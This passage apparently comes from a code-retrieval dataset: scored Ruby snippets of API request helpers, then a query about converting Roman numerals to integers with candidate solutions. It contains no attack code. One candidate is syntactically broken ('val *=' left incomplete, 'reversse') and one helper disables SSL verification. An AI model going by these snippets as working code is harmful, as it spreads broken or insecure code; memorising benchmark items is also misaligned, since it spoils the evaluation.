((b-a)*100).round.to_f/100\n \n final = {code: code.to_i,body: nil}\n final = final.merge(body: JSON.parse(body)) if method != 'DELETE' && code != 500\n final = final.merge(time: c)\n \n @api += 1\n \n final\n \n end", "title": "" }, { "docid": "ea7730ffbfba8596b39d3222fbbfd925", "score": "0.59117436", "text": "def api(command, options = {})\n client.api(command, options)\n end", "title": "" }, { "docid": "ea7730ffbfba8596b39d3222fbbfd925", "score": "0.59117436", "text": "def api(command, options = {})\n client.api(command, options)\n end", "title": "" }, { "docid": "be6bd516fb860b6dc7e8e60558990b9d", "score": "0.591091", "text": "def api_key\n request.headers['HTTP_AUTHORIZATION']\n end", "title": "" }, { "docid": "057efbc2a764eed42cb9d26df0740470", "score": "0.5905739", "text": "def http( *args )\n p http_get( *args )\n end", "title": "" }, { "docid": "f10471f8369470c173e54848d90735ca", "score": "0.5898542", "text": "def raw_api(method,params=nil)\n debug(6,:var=>method,:msg=>\"method\")\n debug(6,:var=>params,:msg=>\"Parameters\")\n\n checkauth\n checkversion(1,1)\n params={} if params==nil\n obj=do_request(json_obj(method,params))\n return obj['result']\n end", "title": "" }, { "docid": "973a95bb631cbe6bb759e6626d16cd51", "score": "0.5893104", "text": "def http_get(end_point)\n uri= URI.parse \"#{@main_url}#{end_point}\"\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth(@username, @api_key)\n response = http.request(request)\n response.body\nend", "title": "" }, { "docid": "207ff343588c608289f677ca664144e0", "score": "0.58826566", "text": "def signed_get_request url\n token=jwt_get_signature url\n HTTParty.get('http://localhost:5000'+url,\n headers:{\n \"Authorization\"=>\"JWT token=\\\"#{token}\\\"\",\n \"Content-Type\"=> \"application/json;charset=utf-8\"\n }\n )\n end", "title": "" }, { "docid": "4a991706fd60641d75e4113fc5eee325", "score": "0.5877862", "text": "def api_key\n @key\n end", "title": "" }, { "docid": "14567c118db03b66b96347be8817c4c2", "score": "0.5876682", "text": "def request(method, path, options)\n raise PipelineDeals::MissingApiKey unless PipelineDeals.api_key\n\n path = \"#{path}.json\"\n puts \"Querying #{path}...\"\n\n response = connection.send(method) do |request|\n case method\n when :get, :delete\n request.url(path, options)\n when :post, :put\n request.path = path\n request.body = options unless options.empty?\n end\n\n request.params[\"api_key\"] = PipelineDeals.api_key\n end\n\n PipelineDeals::Response.new(response.body)\n end", "title": "" }, { "docid": "13c36513e94184857ee2b0312f7ab1a4", "score": "0.58766645", "text": "def api\n @api\n end", "title": "" }, { "docid": "bf52c93dadd98e98fc23b05cfc18d83a", "score": "0.58730847", "text": "def get(url, opts = {})\n response = RestClient::Request.new(\n method: :get,\n url: \"#{ENDPOINT_URL}/#{url}\",\n verify_ssl: false,\n headers: {\n 'Content-Type' => 'application/json',\n 'Authorization' => \"Basic #{authorization_hash}\",\n 'client-id' => client_id,\n 'access-token' => access_token\n },\n payload: opts\n ).execute\n\n JSON.parse(response)\n end", "title": "" }, { "docid": "e823aa8e2d226334f3dc2902aa1f4894", "score": "0.58709896", "text": "def key_details(key_id)\n HTTParty.get(\"#{$base_url}/partners/#{$partner_id}/keys/#{key_id}\", {headers: $headers}).parsed_response\nend", "title": "" }, { "docid": "98c1edbf6b19fe1c4291907ceefa0920", "score": "0.5868794", "text": "def get endpoint\n do_request :get, endpoint\n end", "title": "" }, { "docid": "b9d1254f86ec352895c5b4d50bd5ae58", "score": "0.5866351", "text": "def get(endpoint, url, args, version = 'v1')\n qs = build_qs(args)\n req_url = \"#{url}/api/#{version}/#{endpoint}?#{qs}\"\n\n request(req_url, :GET)\n end", "title": "" }, { "docid": "02f853780d3d576ab54ce4d84d62016c", "score": "0.58655", "text": "def fetch_data(api_url)\n JSON.parse(RestClient.get(api_url))\nend", "title": "" }, { "docid": "a491ff27cac089f5e9acc76c109af8bd", "score": "0.5863574", "text": "def account_api_keys_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: IdentityApi.account_api_keys_get ...\"\n end\n # resource path\n local_var_path = \"/account/apiKeys\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ApiKeysResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IdentityApi#account_api_keys_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "4bedc81000ea5db4c88fc97099631a05", "score": "0.58607274", "text": "def auth_get_call(location,params,auth)\n puts \"#Wrapper Service GET req:- \\n#Host: #{@host} \\n#Location: #{location} \\n#Params: #{params.to_json} \"\n response = @conn.get do |req|\n req.url location\n req.headers['Content-Type'] = 'application/json'\n req.headers['Authorization'] = auth.to_s\n req.body = params.to_json\n end\n puts \"#Response Code: #{response.status}\"\n return response\n end", "title": "" }, { "docid": "7a9f29df38f12d1c752b2dda9cb8080d", "score": "0.5854255", "text": "def get_report(api_key, client_api_id, interval, query = \"\")\n uri = URI(API_ENDPOINT) + URI.escape(\"?api_key=#{api_key}&client_api_id=#{client_api_id}&interval=#{interval}&query=#{query}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n raise \"Server returned error #{response.code} processing your API request\" if response.code != \"200\"\n JSON.parse(response.body)\nend", "title": "" }, { "docid": "e24623e3d9e1b7fb44c7929b12ac5c3e", "score": "0.5853206", "text": "def api_url\n \"#{@@base_url}/#{format}/#{resource}?apikey=#{@@api_key}#{parameters}\"\n end", "title": "" }, { "docid": "ea6fdcdbcc484b70c9b3194a3c6e7001", "score": "0.58523273", "text": "def exec_api(json_req)\n begin\n req = sign_request(json_req)\n return HttpChannel.new(api_uri).execute(req)\n rescue Curl::Err::CurlError => ex\n return JsonResponse.new(\"fail\", ex.message)\n end\n end", "title": "" }, { "docid": "d2511aede26b55e8afa4d40a0c2313fa", "score": "0.5846546", "text": "def get_rest_api(endpoint, http)\n rest_api_endpoint = \"/classifier-api/v1/#{endpoint}\"\n\n # Create an HTTP GET request against the specified REST API endpoint.\n request = Net::HTTP::Get.new(rest_api_endpoint)\n # Submit the request\n response = http.request(request)\n # Return the response body (JSON containing the results of the query).\n response.body\nend", "title": "" } ]
39d6dfbb6943d5a911896e35ea480128
Using the Ruby language, have the function BasicRomanNumerals(str) read str which will be a string of Roman numerals. The numerals being used are: I for 1, V for 5, X for 10, L for 50, C for 100, D for 500 and M for 1000. In Roman numerals, to create a number like 11 you simply add a 1 after the 10, so you get XI. But to create a number like 19, you use the subtraction notation which is to add an I before an X or V (or add an X before an L or C). So 19 in Roman numerals is XIX. The goal of your program is to return the decimal equivalent of the Roman numeral given. For example: if str is "XXIV" your program should return 24
[ { "docid": "520b07070fb989bda480c3c0e9344ffc", "score": "0.7721798", "text": "def basic_roman_numerals(str)\n roman_numerals = { 'I' => 1, 'V' => 5, 'X' => 10, 'L' => 50, 'C' => 100,\n 'D' => 500, 'M' => 1000 }\n fours = { 'CM' => 'DCCCC', 'CD' => 'CCCC', 'XC' => 'LXXXX', 'XL' => 'XXXX',\n 'IX' => 'VIIII', 'IV' => 'IIII' }\n str.gsub!(/(CM)?(CD)?(XC)?(XL)?(IX)?(IV)?/, fours)\n result = 0\n roman_numerals.each do |numeral, value|\n result += str.count(numeral) * value\n end\n result\nend", "title": "" } ]
[ { "docid": "feb139dade3583676e9000f274db77a9", "score": "0.81536436", "text": "def roman_to_integer roman\n roman_lookup = {'i' => 1,\n 'v' => 5,\n 'x' => 10,\n 'l' => 50,\n 'c' => 100,\n 'd' => 500,\n 'm' => 1000}\n\n # Initialize total integer value (updates as we process the string)\n total = 0\n\n # Prev is used to track the numeral character one over\n prev = 0\n \n # Look at the string in reverse order, we will add to a running total\n # for each numeral character.\n roman.reverse.each_char do |character|\n # Look up the current numeral character in the roman_lookup table\n numeral = roman_lookup[character]\n \n # If not found in roman_lookup, it's invalid,\n # break and tell the user in loop.\n if !numeral\n puts 'This is not a valid roman numeral!'\n break\n end\n\n # If the current character is less than the one to its left\n # Subtract one from numeral\n if numeral < prev\n numeral *= -1\n else # Otherwise, equal\n prev = numeral\n end\n\n # Add to running total\n total += numeral\n end\n\n total\nend", "title": "" }, { "docid": "2c4d10c1d6d05497b737c1b654a106aa", "score": "0.8084805", "text": "def roman_to_integer roman\n\n roman.upcase!\n\n if roman.scan(/[ABEFGHJKNOPQRSTUWYZ]/).length != 0\n \treturn puts \"Not a roman number!\"\n end\n\n roman.gsub!(/IV/, 'IV' => ' 4')\n roman.gsub!(/IX/, 'IX' => ' 9')\n roman.gsub!(/XL/, 'XL' => ' 40')\n roman.gsub!(/XC/, 'XC' => ' 90')\n roman.gsub!(/CD/, 'CD' => ' 400')\n roman.gsub!(/CM/, 'CM' => ' 900')\n roman.gsub!(/[MDCLXVI]/, 'M' => ' 1000', 'D' => ' 500', 'C' => ' 100',\n \t\t\t 'L' => ' 50', 'X' => ' 10', 'V' => ' 5', 'I' =>' 1')\n\n roman.split(' ').map(&:to_i).inject{|sum,x| sum + x}\n\nend", "title": "" }, { "docid": "9ce6e56419bae204c08a025806473dd6", "score": "0.80597144", "text": "def romanOf strNum\n\n intNum = strNum.to_i\n # if the parameter is not an int, empty, or out of range\n if strNum[/[0-9]+/] != strNum || intNum > 4999 || intNum == 0\n return nil\n end\n\n # the unfinished Roman numeral\n numeral = ''\n numDigits = strNum.length\n\n i = 0\n while i < numDigits\n\n # the (numDigits - i)th digit from the right\n digit = strNum[i].to_i\n if digit.to_i >= 5 # add five-letter\n numeral += getFiveLetter(numDigits - i)\n digit -= 5\n end\n numeral += getOneLetter(numDigits - i) * digit # add one-letter\n i += 1\n\n end\n\n return numeral\n\nend", "title": "" }, { "docid": "b7b94403b54e0c7d5be3407dd801e1fe", "score": "0.799668", "text": "def roman_to_int(roman)\n decimal, i = 0,0\n\n while i < roman.length\n\n if i > 0\n if roman[i - 1] == 'I' && (roman[i] == 'V' || roman[i] == 'X')\n decimal -= (2 * DECIMAL_VALUES[roman[i - 1]])\n elsif roman[i - 1] == 'X' && (roman[i] == 'L' || roman[i] == 'C')\n decimal -= (2 * DECIMAL_VALUES[roman[i - 1]])\n elsif roman[i - 1] == 'C' && (roman[i] == 'D' || roman[i] == 'M')\n decimal -= (2 * DECIMAL_VALUES[roman[i - 1]])\n end\n end\n\n decimal += DECIMAL_VALUES[roman[i]]\n\n i += 1\n end\n\n decimal\nend", "title": "" }, { "docid": "3ac088ed224a61f0db9f4fdc3887bf68", "score": "0.79930794", "text": "def roman_to_integer numeral\n # Use a hash to associate the characters with their integers\n digit_vals = {'i' => 1, 'v' => 5, 'x' => 10, 'l' => 50, 'c' => 100, 'd' => 500, 'm' => 1000}\n \n total = 0\n prev = 0\n \n # Starting from the last character and working backwards, run the following code for each character\n numeral.reverse.each_char do |c_or_C| \n c = c_or_C.downcase\n val = digit_vals[c]\n \n # Don't accept values that aren't in the hash\n if !val\n puts 'This is not a valid roman numeral'\n return\n end\n \n # If the numeral is a subtraction, it will be less than the previous one, so make its value negative\n if val < prev\n val *= -1\n else\n # If not, then set the prev variable to the current value for the next round\n prev = val\n end\n # And add the val to the total\n total += val\n end\n \n total\nend", "title": "" }, { "docid": "71efcdf090ce28c8d03a64585dca2dcf", "score": "0.79837185", "text": "def fromRoman s\n sum = 0\n\n while s.length > 0\n #thousands\n if s[0] == \"M\"\n sum += 1000\n s = s.reverse.chop.reverse\n end\n #hundreds\n if s[0] == \"D\"\n sum += 500\n s = s.reverse.chop.reverse\n end\n if s[0] == \"C\"\n if s[1] == \"M\"\n sum += 900\n s = s.reverse.chop.chop.reverse\n elsif s[1] == \"D\"\n sum += 400\n s = s.reverse.chop.chop.reverse\n else\n sum += 100\n s = s.reverse.chop.reverse\n end\n end\n #tens\n if s[0] == \"L\"\n sum += 50\n s = s.reverse.chop.reverse\n end\n if s[0] == \"X\"\n if s[1] == \"L\"\n sum += 40\n s = s.reverse.chop.chop.reverse\n elsif s[1] == \"C\"\n sum += 90\n s = s.reverse.chop.chop.reverse\n else\n sum += 10\n s = s.reverse.chop.reverse\n end\n end\n #ones\n if s[0] == \"V\"\n sum += 5\n s = s.reverse.chop.reverse\n end\n if s[0] == \"I\"\n if s[1] == \"V\"\n sum += 4\n s = s.reverse.chop.chop.reverse\n elsif s[1] == \"X\"\n sum += 9\n s = s.reverse.chop.chop.reverse\n else\n sum += 1\n s = s.reverse.chop.reverse\n end\n end\n end\n sum\n end", "title": "" }, { "docid": "10bb0da651ddc632d5eab934253a7236", "score": "0.7975765", "text": "def roman_to_integer roman\n\n # Create an object to hold the roman numeral values for easy lookup\n digit_vals = {\n 'i' => 1,\n 'v' => 5,\n 'x' => 10,\n 'l' => 50,\n 'c' => 100,\n 'd' => 500,\n 'm' => 1000\n }\n\n # Create total to hold the total integer value of the roman integer\n total = 0\n # prev will hold the previous letter's value, for determining if the current value\n # should be subtracted or not\n prev = 0\n # index keeps track of which letter we're currently working with\n index = roman.length - 1\n\n while index >= 0\n character = roman[index].chr.downcase # gets the charcter of the index value\n index -= 1\n val = digit_vals[character] # gets the value of the character from digit_vals\n\n # If val is nil, return\n if !val\n puts 'This is not a valid roman numeral!'\n return\n end\n\n # If the current letter's val is less than the previous letter's val, subtract the current\n # value from the total\n if val < prev\n val = val * -1\n else\n prev = val\n end\n\n # Add the current value to the total\n total = total + val\n end\n\n total\nend", "title": "" }, { "docid": "dc6d30e04a23864ee3837e70dc79913e", "score": "0.7957468", "text": "def roman_to_int(string)\n roman = {'M' => 1000, 'D'=> 500, 'C'=> 100, 'L'=> 50, 'X'=> 10, 'V'=> 5, 'I'=> 1}\n sum = 0\n string.split(\"\").each do |i|\n sum += roman[i]\n end\n sum\nend", "title": "" }, { "docid": "3cd73e51934762733158cd5d88e00f5e", "score": "0.79079956", "text": "def roman_to_integer(string)\n return nil if string.empty? || string.nil?\n string.upcase!\n values = {\"I\" => 1, \"V\" => 5, \"X\" => 10, \"L\" => 50, \"C\" => 100}\n precedence = {\"I\" => 1, \"V\" => 2, \"X\" => 3, \"L\" => 4, \"C\" => 5}\n number = values[string[string.size-1]]\n if string.size > 1\n for x in 0..string.size-2\n i = string.size-2-x\n begin\n if precedence[string[i]] >= precedence[string[i+1]]\n number = number + values[string[i]]\n else\n number = number - values[string[i]]\n end\n rescue NoMethodError\n return NoMethodError.new(\"Invalid roman numeral\")\n end\n end\n end\n return number\nend", "title": "" }, { "docid": "6918c1078193da4936dd0aae98617683", "score": "0.789588", "text": "def roman_to_integer_elegant roman\n digit_vals = {\n 'i' => 1,\n 'v' => 5,\n 'x' => 10,\n 'l' => 50,\n 'c' => 100,\n 'd' => 500,\n 'm' => 1000\n }\n\n total = 0\n prev = 0\n\n roman.reversse.each_char do |c_or_C|\n c = c_or_C.downcase\n val = digit_vals[c]\n\n if !val\n puts 'This is not a valid Roman numeral!'\n return\n end\n\n if val < prev\n val *=\n else\n end\n end\n\nend", "title": "" }, { "docid": "bc932e0f40ce29c9eb442877c85e050b", "score": "0.788602", "text": "def roman_to_int(s)\n given_numerals = s.split('')\n roman_numerals = {\n :I => 1,\n :V => 5,\n :X => 10,\n :L => 50,\n :C => 100,\n :D => 500,\n :M => 1000\n }\n\n final_value = 0\n given_numerals.each.with_index do |rn, i|\n if (rn == 'V' || rn == 'X') && i !=0\n if given_numerals[i-1] == 'I'\n final_value = final_value + roman_numerals[rn.to_sym] - 2\n else\n final_value = final_value + roman_numerals[rn.to_sym]\n end\n elsif (rn == 'L' || rn == 'C') && i != 0\n if given_numerals[i-1] == 'X'\n final_value = final_value + roman_numerals[rn.to_sym] - 20\n else\n final_value = final_value + roman_numerals[rn.to_sym]\n end\n\n elsif (rn == 'D' || rn == 'M') && i != 0\n if given_numerals[i-1] == 'C'\n final_value = final_value + roman_numerals[rn.to_sym]-200\n else\n final_value = final_value + roman_numerals[rn.to_sym]\n end\n else\n final_value = final_value + roman_numerals[rn.to_sym]\n end\n puts final_value\n end\n final_value\nend", "title": "" }, { "docid": "1406dc140c419d4d2e8eb0da334b65b3", "score": "0.7869614", "text": "def roman_to_integer roman\n\tdigits_vals = { 'i' => 1,\n\t\t\t\t\t\t\t\t\t'v' => 5,\n\t\t\t\t\t\t\t\t\t'x' => 10,\n\t\t\t\t\t\t\t\t\t'l' => 50,\n\t\t\t\t\t\t\t\t\t'c' => 100,\n\t\t\t\t\t\t\t\t\t'd' => 500,\n\t\t\t\t\t\t\t\t\t'm' => 1000}\n\ttotal = 0\n\tprev = 0\n\tindex = roman.length-1 \n\n\twhile index >=0\n\t\tc = roman[index].downcase\n\t\tindex -= 1 # My change from book's code : index = index - 1\n\t\tval = digits_vals[c]\n\n\t\tif !val\n\t\t\tp \"This is not a valid roman numeral\"\n\t\t\treturn \n\t\tend\n\n\t\tif val < prev\n\t\t\tval = val * -1\n\t\telse \n\t\t\tprev = val\n\t\tend\n\n\t\ttotal = total + val\n\tend\n\n\ttotal\nend", "title": "" }, { "docid": "84da322a8fd71b803a23ca26191dc95e", "score": "0.7864091", "text": "def roman_to_integer roman\n puts \"Please enter a valid roman numeral\" if roman =~ (/[^MDCLXVI]/i)\n roman = roman.upcase\n integer = 0\n\n if roman.include?(\"CM\")\n roman.sub!(\"CM\", \"\")\n integer = integer + 900\n end\n\n if roman.include?(\"CD\")\n roman.sub!(\"CD\", \" \")\n integer = integer + 400\n end\n\n if roman.include?(\"XC\")\n roman.sub!(\"XC\", \" \")\n integer = integer + 90\n end\n\n if roman.include?(\"XC\")\n roman.sub!(\"XC\", \" \")\n integer = integer + 40\n end\n\n if roman.include?(\"IX\")\n roman.sub!(\"IX\", \" \")\n integer = integer + 9\n end\n\n if roman.include?(\"IV\")\n roman.sub!(\"IV\", \" \")\n integer = integer + 4\n end\n integer = integer + 1000*(roman.count \"M\")\n integer = integer + 500*(roman.count \"D\")\n integer = integer + 100*(roman.count \"C\")\n integer = integer + 50*(roman.count \"L\")\n integer = integer + 10*(roman.count \"X\")\n integer = integer + 5*(roman.count \"V\")\n integer = integer + (roman.count \"I\")\n return integer\nend", "title": "" }, { "docid": "1526170c1f3e10f06aae928f3b71d178", "score": "0.78379595", "text": "def roman_to_decimal\n roman_to_integer = {\n 'm' => 1000, 'd' => 500,\n 'c' => 100, 'l' => 50, \n 'x' => 10, 'v' => 5, \n 'i' => 1\n } \n\n entered_number = nil\n invalid_chars = -1\n # Get input and check for invalid characters \n until invalid_chars == 0\n invalid_chars = 0\n puts \"Enter a valid roman numeral: \"\n entered_number = gets.chomp.downcase\n # check to see if it's valid\n entered_number.chars.each do |char|\n if !(%w(m c d x l i v).include? char)\n invalid_chars += 1\n end\n end\n end\n \n integer_value = 0\n index = entered_number.length-1\n previous_value = 0\n while index >=0\n place = entered_number[index]\n index -= 1\n value = roman_to_integer[place]\n if value < previous_value\n value *= -1\n else\n previous_value = value\n end\n integer_value += value\n end\n integer_value\nend", "title": "" }, { "docid": "c9c7af90cc91f7c37ed807fd44480111", "score": "0.7835899", "text": "def roman_to_integer(s)\n if !s.is_a? String\n print \"Please use a string \"\n return false\n end\n roman_letters = {\"I\" => 1,\"C\" => 100,\"V\" =>5,\"D\"=>500,\"X\"=>10,\"M\"=>1000,\"L\"=>50}\n sum=0\n (0...s.length).each{|i|\n if roman_letters[s[i].upcase]==nil\n print \"Character is not recognised as roman... sorry! \"\n return false\n else\n sum = sum + roman_letters[s[i].upcase]\n end\n }\n return sum\nend", "title": "" }, { "docid": "443b62573e0c6dac003ba56c04b9c64e", "score": "0.78223264", "text": "def to_number\n arr = []\n roman_array = @roman_string.split(\"\")\n \n until roman_array.empty?\n if arr.empty? || arr.last >= HASHROMAN[roman_array.first]\n arr << HASHROMAN[roman_array.shift]\n else\n x = HASHROMAN[roman_array.shift] - arr.pop\n arr << x\n end\n end\n \n arr.inject(0) {|sum, x| sum + x}\n end", "title": "" }, { "docid": "bf32b6b03411af2b28db01588b6941e9", "score": "0.7820872", "text": "def roman_to_integer roman\n\n\treturn_number = 0\nroman.downcase.split(//).each_cons(2) do |a, b|\n\n\tif a+b == \"cm\"\n\t\treturn_number += 900\n\t\troman.slice!(\"cm\")\n\telsif a+b == \"cd\"\n\t\treturn_number += 400\n\t\troman.slice!(\"cd\")\n\telsif a+b == \"xc\"\n\t\treturn_number += 90\n\t\troman.slice!(\"xc\")\n\telsif a+b == \"xl\"\n\t\treturn_number += 40\n\t\troman.slice!(\"xl\")\n\telsif a+b == \"ix\"\n\t\treturn_number += 9\n\t\troman.slice!(\"ix\")\n\telsif a+b == \"iv\"\n\t\treturn_number += 4\n\t\troman.slice!(\"iv\")\n\tend\nend\n\n\nroman.downcase.each_char do |r|\n\tif r == \"m\"\n\t\treturn_number += 1000\n\telsif\tr == \"d\"\n\t\treturn_number += 500\n\telsif\tr == \"c\" \n\t\treturn_number += 100\n\telsif\tr == \"l\"\n\t\treturn_number += 50\n\telsif\tr == \"x\"\n\t\treturn_number += 10\n\telsif\tr == \"v\"\n\t\treturn_number += 5\n\telsif\tr == \"i\"\n\t\treturn_number += 1\n\tend\nend\n\nreturn_number\n\n \n\nend", "title": "" }, { "docid": "1cc607b200874eee2fcaa133559f133b", "score": "0.77843994", "text": "def roman_to_int(s)\n map = {\n 'I' => 1,\n 'V' => 5,\n 'X' => 10,\n 'L' => 50,\n 'C' => 100,\n 'D' => 500,\n 'M' => 1000\n }\n\n sum = map[s[0]]\n s.chars.each_cons(2) do |a, b|\n if map[a] < map[b]\n sum = sum - map[a]*2\n end\n\n sum = sum + map[b]\n end\n sum\nend", "title": "" }, { "docid": "3e6dad02a10022f33fc1ed31de153ce1", "score": "0.7775133", "text": "def romanNumeral(num=309)\n\t\n\t#start with an empty array for collecting the various roman numeral strings along the way\n\tromanString = []\n\n\tif num >= 1000\n\t\t#if the inputed number is greater than or equal to 1000, begin with the largest roman numeral \"M\"\n\t\tmstring = \"M\" * (num / 1000)\n\t\t#to get the number of \"M\" characters needed, divide the inputted value by the integer 1000 to get the integer value, giving the number of \n\t\t#thousands in the original input\n\t\t#then multiply the character \"M\" by this number to get the proper number of \"M\" characters and then push them to the collection array\n\t\tromanString.push(mstring)\n\t\t#now set the inputted num equal to the remainder after the 1000s have been taken away for continued parsing \n\t\tnum = num % 1000\n\tend\n\n\t#because of the new ways of subtraction with a smaller character before a larger one, a couple special cases are addressed here..\n\t#900 is now represented as \"CM\" instead of \"XCCCC\" which would have been okay before. So \"CM\" is explicitly defined and the same goes of \"CD\"\n\tif num >= 900\n\t\tendstring = \"CM\"\n\n\t\t#afterwards, we push the value to our collection array just like before and then further subtract from the num value for continued parsing \n\t\tromanString.push(endstring)\n\t\tnum = num - 900\n\tend\t\n\n\t#use the exact same procedure for the individual \"D\" and \"C\" characters\n\tif num >= 500\n\t\tdstring = \"D\" * (num / 500)\n\t\tromanString.push(dstring)\n\t\tnum = num % 500\n\tend\n\n\t#400 is a special case just like 900 but it must be listed after 500 or \"D\" characters have been added for the proper results\n\tif num >= 400\n\t\tendstring = \"CD\"\n\t\tromanString.push(endstring)\n\t\tnum = num - 400\n\tend\n\n\tif num >= 100\n\t\tcstring = \"C\" * (num / 100)\n\t\tromanString.push(cstring)\n\t\tnum = num % 100\n\tend\n\n\t#we now highlight the special cases of the 10's place by explicitly defining \"XC\" and \"XL\" for 90 and 40 respectively\n\t#again, 40 is listed after 50 is already checked. If 40 was listed first, then all inputs ending in 50 would return the forty value before the\n\t#correct 50 value of \"L\"\n\tif num >= 90\n\t\tendstring = \"XC\"\n\t\tromanString.push(endstring)\n\t\tnum = num - 90\n\tend\n\n\tif num >= 50\n\t\tlstring = \"L\" * (num / 50)\n\t\tromanString.push(lstring)\n\t\tnum = num % 50\n\tend\t\n\n\tif num >= 40\n\t\tendstring = \"XL\"\n\t\tromanString.push(endstring)\n\t\tnum = num - 40\n\tend\n\n\tif num >= 10\n\t\txstring = \"X\" * (num / 10)\n\t\tromanString.push(xstring)\n\t\tnum = num % 10\n\tend\n\n\t#when we get to the special cases of 9 and 4, this signifies the end of the string so the logic says...\n\t#if the num value that's left at this point is equal to 9 or 4, push \"IX\" or \"IV\" to the array and set num equal to 0\n\t#we set it to 0 so that it will not go through the final conditional test and so no extra \"I\" characters will be added on\n\tif num == 9\n\t\tendstring = \"IX\"\n\t\tromanString.push(endstring)\n\t\tnum = 0\n\tend\n\n\tif num >= 5\n\t\tvstring = \"V\" * (num / 5)\n\t\tromanString.push(vstring)\n\t\tnum = num % 5\n\tend\n\n\tif num == 4\n\t\tendstring = \"IV\"\n\t\tromanString.push(endstring)\n\t\tnum = 0\n\tend\n\n\tistring = \"I\" * num\n\tromanString.push(istring)\n\n\t#the final step displays the array with the join method, connecting all the roman numerals onto one continuous like with no space between them\n\tputs romanString.join('')\nend", "title": "" }, { "docid": "9e54bb3dadf32c98915da4bb71195860", "score": "0.7741239", "text": "def roman_to_integer(roman) \n digit_vals = {\"i\" => 1, \"v\" => 5, \"x\" => 10, \"l\" => 50, \"c\" => 100, \"d\" => 500, \"m\" => 1000}\n \n total = 0\n prev = 0\n roman.reverse.each_char do |c_or_C|\n c = c_or_C.downcase \n val = digit_vals[c] \n if !val\n puts 'This is not a valid roman numeral!'\n return \n end\n if val < prev \n val *= -1\n else\n prev = val\n end\n total += val\n end\n\n total\nend", "title": "" }, { "docid": "748a530f5f4d3e600195b8adcf460393", "score": "0.77395844", "text": "def roman_numeral(an_integer)\n raise 'The Roman only worked in integers!' unless an_integer.is_a? Integer\n\n thousands = an_integer / 1000\n hundreds = (an_integer % 1000) / 100\n tens = (an_integer % 100) / 10\n units = an_integer % 10\n\n roman = 'M' * thousands\n \n roman +=\n if hundreds == 9\n 'CM'\n elsif Array(5..8).include? hundreds\n 'D' + ('C' * (hundreds - 5))\n elsif hundreds == 4\n 'CD'\n elsif hundreds >= 1\n 'C' * hundreds\n else\n ''\n end\n\n roman +=\n if tens == 9\n 'XC'\n elsif Array(5..8).include? tens\n 'L' + ('X' * (tens - 5))\n elsif tens == 4\n 'XL'\n elsif tens >= 1\n 'X' * tens\n else\n ''\n end\n\n roman +=\n if units == 9\n 'IX'\n elsif Array(5..8).include? units\n 'V' + ('I' * (units - 5))\n elsif units == 4\n 'IV'\n elsif units >= 1\n 'I' * units\n else\n ''\n end\n\n roman\nend", "title": "" }, { "docid": "536f5bd4dd69d6d1e31f1ed8dbb1f698", "score": "0.77393943", "text": "def roman_to_int(s)\n total = 0\n length = s.length\n index = -1\n \n roman_hash = {\"I\"=>1, \"V\"=>5, \"X\"=>10, \"L\"=>50, \"C\"=>100, \"D\"=>500, \"M\"=>1000}\n \n while index >= -length\n total += roman_hash[s[index]]\n if (s[index] == \"V\" || s[index] == \"X\") && s[index-1] == \"I\"\n total -= 1\n index -= 1\n elsif (s[index] == \"L\" || s[index] == \"C\") && s[index-1] == \"X\"\n total -= 10\n index -= 1\n elsif (s[index] == \"D\" || s[index] == \"M\") && s[index-1] == \"C\"\n total -= 100\n index -= 1\n end\n index -= 1\n end\n \n return total\nend", "title": "" }, { "docid": "a0c88b5780fa60135ee2b292e912ecfd", "score": "0.77202505", "text": "def roman_to_int(numeral)\n\n numerals = {\n 'I' => 1,\n 'V' => 5,\n 'X' => 10,\n 'L' => 50,\n 'C' => 100,\n 'D' => 500,\n 'M' => 1000\n }\n\n individual_numbers = []\n res = 0\n numeral.each_char do |ch|\n individual_numbers.unshift(numerals[ch])\n end\n\n i = 0\n while i < individual_numbers.length\n\n if i == individual_numbers.length - 1\n res += individual_numbers[i]\n\n i += 1\n elsif individual_numbers[i] > individual_numbers[i + 1]\n res += (individual_numbers[i] - individual_numbers[i + 1])\n\n i += 2\n else\n res += individual_numbers[i]\n\n i += 1\n\n end\n end\n res\nend", "title": "" }, { "docid": "cd72a015a3dc55034a6450251c96b536", "score": "0.77135193", "text": "def roman_to_integer roman_number\r\n\r\n\tdigit_vals = {\"i\" => 1,\r\n\t\t\t\t \"v\" => 5,\r\n\t\t\t\t \"x\" => 10,\r\n\t\t\t\t \"l\" => 50,\r\n\t\t\t\t \"c\" => 100,\r\n\t\t\t\t \"d\" => 500,\r\n\t\t\t\t \"m\" => 1000}\r\n\r\n\ttotal = 0\r\n\tprev = 0\r\n\tindex = roman_number.length - 1\r\n\r\n\twhile index >= 0 \r\n\r\n\t\tc = roman_number[index].downcase\r\n\t\tindex = index - 1\r\n\t\tval = digit_vals[c]\r\n\r\n\t\tif !val\r\n\t\t\tputs \"This is not a valid roman numeral!\"\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\tif \r\n\t\t\tval < prev\r\n\t\t\tval = val * -1\r\n\t\telse \r\n\t\t\tprev = val\r\n\t\tend \r\n\r\n\t\ttotal = total + val\r\n\tend\r\n\r\n\ttotal \r\nend", "title": "" }, { "docid": "c1550a9b315bf0276778dbe567c6fa13", "score": "0.770051", "text": "def old_roman_numeral num\n \n numeral = String.new\n\n #how many thousands?\n thousands = num / 1000\n if thousands != 0 then numeral << \"M\" * thousands end\n num = num % 1000\n\n # how many five_hundreds?\n five_hundreds = num / 500\n if five_hundreds != 0 then numeral << \"D\" * five_hundreds end\n num = num % 500\n\n # how many hundreds?\n hundreds = num / 100\n if hundreds != 0 then numeral << \"C\" * hundreds end\n num = num % 100\n 